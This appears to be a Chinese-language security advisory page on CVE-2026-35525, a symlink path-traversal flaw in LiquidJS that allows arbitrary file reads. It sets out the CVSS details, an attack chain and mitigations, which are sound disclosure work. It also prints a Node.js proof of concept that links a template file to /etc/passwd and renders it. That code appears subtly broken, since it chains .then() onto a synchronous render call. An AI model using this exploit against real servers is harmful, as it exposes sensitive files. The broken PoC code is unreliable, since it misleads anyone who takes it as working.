IPBUF安全漏洞报告
English
CVE-2026-35525 CVSS 7.5 高危

CVE-2026-35525 LiquidJS 路径遍历漏洞导致任意文件读取

披露日期: 2026-04-08

漏洞信息

漏洞编号
CVE-2026-35525
漏洞类型
路径遍历
CVSS评分
7.5 高危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
LiquidJS

相关标签

路径遍历LiquidJS任意文件读取符号链接CVE-2026-35525

漏洞概述

LiquidJS 是一个纯 JavaScript 的模板引擎,兼容 Shopify 和 GitHub Pages。在 10.25.3 版本之前,该组件在处理 {% include %}、{% render %} 和 {% layout %} 指令时存在安全缺陷。系统仅验证请求的路径字符串是否位于允许的根目录内,而未解析文件系统的真实路径。攻击者若能在受信任的模板目录下创建恶意符号链接,即可利用此漏洞绕过目录限制,读取服务器上根目录外的任意敏感文件,造成信息泄露风险。

技术细节

该漏洞源于 LiquidJS 在路径安全验证机制上的设计缺陷。当引擎处理模板包含、渲染或布局指令时,它只检查传入的路径字符串是否以配置的 partials 或 layouts 根目录作为前缀,而没有调用系统级的 `realpath` 函数来解析符号链接后的实际物理路径。在允许上传主题、解压归档文件或挂载内容的场景下,攻击者可以在允许的目录内放置一个名为 `partials/link.liquid` 的符号链接,该链接指向 `/etc/passwd` 等系统敏感文件。当 LiquidJS 尝试打开并渲染该文件时,底层文件系统会自动跟随符号链接读取目标内容。由于检查逻辑仅作用于路径字符串,这种利用方式成功欺骗了安全检查,导致服务端任意文件读取漏洞。

攻击链分析

STEP 1
准备阶段
攻击者确认目标应用使用 LiquidJS 且版本低于 10.25.3,并拥有在模板根目录(如 partials)下写入文件的权限(例如通过上传主题或解压归档)。
STEP 2
放置符号链接
攻击者在允许的模板目录内创建一个符号链接文件(例如 link.liquid),将其指向受信任根目录之外的敏感文件(如 /etc/passwd)。
STEP 3
触发漏洞
攻击者诱导应用渲染该恶意模板文件(例如通过访问包含 {% render 'link' %} 的页面)。
STEP 4
读取数据
LiquidJS 通过路径字符串检查,但在读取文件时操作系统解析符号链接,导致应用读取并返回了外部敏感文件的内容。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
// PoC for CVE-2026-35525 // This requires an environment where you can create symlinks in the template root. const { Liquid } = require('liquidjs'); const fs = require('fs'); const path = require('path'); const engine = new Liquid({ root: '/path/to/templates', extname: '.liquid' }); // Step 1: Attacker creates a symlink inside the allowed root directory // pointing to a sensitive file outside the root (e.g., /etc/passwd) const symlinkPath = path.join('/path/to/templates/partials', 'sensitive.liquid'); const targetFile = '/etc/passwd'; try { fs.symlinkSync(targetFile, symlinkPath); console.log(`Symlink created: ${symlinkPath} -> ${targetFile}`); // Step 2: Trigger the vulnerability by rendering the symlinked file // LiquidJS checks the path string (valid) but reads the real path (invalid) engine.renderFileSync('partials/sensitive') .then(result => { console.log('Exploit successful! Content read:'); console.log(result); }) .catch(err => { console.error('Error:', err); }); } catch (e) { console.error('Failed to create symlink:', e.message); }

影响范围

LiquidJS < 10.25.3

防御指南

临时缓解措施
如果无法立即升级,应检查并清理模板目录中现有的符号链接,或者在应用层面对上传文件进行严格校验,确保不包含符号链接。此外,可以配置容器或服务器的挂载选项以禁止跟随符号链接。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表